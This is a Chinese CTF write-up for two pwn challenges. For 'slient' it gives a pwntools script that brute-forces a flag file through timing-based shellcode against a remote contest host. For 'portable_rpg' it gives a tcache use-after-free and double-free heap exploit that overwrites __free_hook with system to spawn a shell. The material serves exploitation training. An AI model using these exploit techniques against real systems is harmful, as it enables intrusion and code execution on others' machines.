slient

第四届蓝帽杯线下原题,只是 flag 放的位置换了。写 shellcode 的题目:

image-20210506204356055

只能下 read open 函数,构成不了 orw 。换个思路用可见字符去比较,也就是爆破。

image-20210507001854207

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
# encoding=utf-8
from pwn import *

file_path = "./chall"
context.arch = "amd64"
# context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
# if debug:
# p = process([file_path])
# gdb.attach(p, "b *$rebase(0xC94)")
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# one_gadget = 0x0
#
# else:
# p = remote('', 0)
# libc = ELF('')
# one_gadget = 0x0


def pwn(p, index, ch):

read_next = "xor rax, rax; xor rdi, rdi;mov rsi, 0x10100;mov rdx, 0x300;syscall;"
# open
shellcode = "push 0x10032aaa; pop rdi; shr edi, 12; xor esi, esi; push 2; pop rax; syscall;"

# re open, rax => 4
shellcode += "push 2; pop rax; syscall;"

# read(rax, 0x10040, 0x50)
shellcode += "mov rdi, rax; xor eax, eax; push 0x50; pop rdx; push 0x10040aaa; pop rsi; shr esi, 12; syscall;"

# cmp and jz
if index == 0:
shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(index, ch)
else:
shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(index, ch)

shellcode = asm(shellcode)

# p.sendlineafter("execution-box.\n", read_next.ljust(0x30))

p.sendafter("execution-box.\n", shellcode.ljust(0x40 - 14, b'a') + b'/home/pwn/flag')


index = 0
ans = []
while True:
for ch in range(0x20, 127):
if debug:
p = process([file_path])
else:
# p = remote('8.131.246.36', 40334)
p = remote("8.140.177.7",40334)
pwn(p, index, ch)
start = time.time()
try:
p.recv(timeout=2)
except:
pass
end = time.time()
p.close()
if end - start > 1.5:
ans.append(ch)
print("".join([chr(i) for i in ans]))
break
else:
print("".join([chr(i) for i in ans]))
break
index = index + 1
print(ans)

print("".join([chr(i) for i in ans]))

补充:

https://www.lintstar.top/2020/12/784edd2e#0x04-slient

https://blog.csdn.net/sunjikui1255326447/article/details/100191203

portable_rpg

赛后复盘

漏洞在 add player 的 switch 语句,进入函数后首先会创建 0x20 用于存放 player_struct ,当输入 player job 不是 1-3 时,switch 就会直接退出,没有释放 player struct

free 的时候把指针都置零,但是 libc 是 2.26 和 2.27 一样有 tcache 。由于先 free player_name 再 free player_struct ,将 player_name 申请为 0x20 再结合 tcache 修改 fd 的特定可以实现 UAF 的效果

总体思路:利用 add 漏洞伪造 player_struct ,结合 tcache 修改 player_struct 中 name_ptr 泄露出 libc 地址;double free 修改 free_hook

申请两个name size 0x20 的正常 player ,释放到 tcache 。利用 switch 漏洞申请两次得到 fake_player_struct ,指针指向下一个正常的 player_struct 。后面填满 tcache 后,将 fake_player_struct 指向的 player 释放到 fastbin ,申请一个大堆块,经过整理后会放到 unsortedbin 。

double free 思路也差不多,要巧妙利用 tcache 修改 fd

无符号 libc 找 main_arean 偏移

ida 加载 libc 文件,查 malloc_trim 这个函数开头有个全局变量这个就是 main_arena ,图中的偏移为 0x13A7F4 。实际用的时候还得减去泄露出来的偏移,比如泄露 main_arena+88 偏移就是 0x13A7F4+88

image-20210508002119772

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from pwn import *
import sys
context.binary = "./vuln"
context.log_level = "debug"
context.terminal = ['tmux','sp','-h']

if sys.argv[1] == "r":
p = remote("remote_addr", remote_port)
elif sys.argv[1] == "l":
p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./vuln"])
# p = process(["qemu-arm", "-L", ".", "./vuln"])
else:
p = process(["qemu-arm", "-g", "1234", "-L", "/usr/arm-linux-gnueabihf", "./vuln"])
# p = process(["qemu-arm", "-g", "1234", "-L", ".", "./vuln"])

elf = ELF("./vuln")
libc = ELF("/usr/arm-linux-gnueabi/lib/libc.so.6")

def cmd(cmd):
p.recvuntil(">> ")
p.sendline(str(cmd))
def add(job,size,name):
cmd(1)
p.recvuntil(">> ")
p.sendline(str(job))
p.recvuntil("?\n")
p.sendline(str(size))
p.recvuntil("?\n")
p.send(name)
def add_2(job):
cmd(1)
p.recvuntil(">> ")
p.sendline(str(job))
def delete(id):
cmd(2)
p.recvuntil("?\n")
p.sendline(str(id))
def show(id):
cmd(3)
p.recvuntil("?\n")
p.sendline(str(id))
def play(id):
cmd(4)
p.recv

payload = 'a'*4 + p32(0x20) + p32(0xffffffff)*4 + p32(1) + p32(1)
add(1,0x20,'a'*4)
add(1,0x20,payload)
delete(0)
delete(1)
add_2(4)#0
add_2(4)#1

add(1,0x20,'a'*4)#2

for _ in range(4):
add(1,0x20,'a'*4)
for i in range(4):
delete(3+i)
delete(2)

add(1,0x400,'a'*4)
show(1)
leak_addr = u32(p.recvuntil('\x3f')[-4:])
log.info("main_arean:"+hex(leak_addr))
libc_base = leak_addr - 0xF47E4 - 0x7c
log.info("libc_base:"+hex(libc_base))
system_addr = libc_base+libc.sym['system']
log.info("system_addr:"+hex(system_addr))
binsh_str = libc_base + libc.search('/bin/sh').next()
log.info("binsh_str:"+hex(binsh_str))
free_hook = libc_base + libc.sym['__free_hook']
log.info("free_hook:"+hex(free_hook))
free_addr = libc_base + libc.sym['free']
log.info("free_addr:"+hex(free_addr))

for i in range(5):
add(1,0x20,"/bin/sh\x00")
delete(7)
add_2(4)
add_2(4)
delete(7)
delete(8)#double free

add(1,0x20,p32(free_hook))
add_2(5)
add(1,0x20,p32(system_addr))

delete(3)

p.interactive()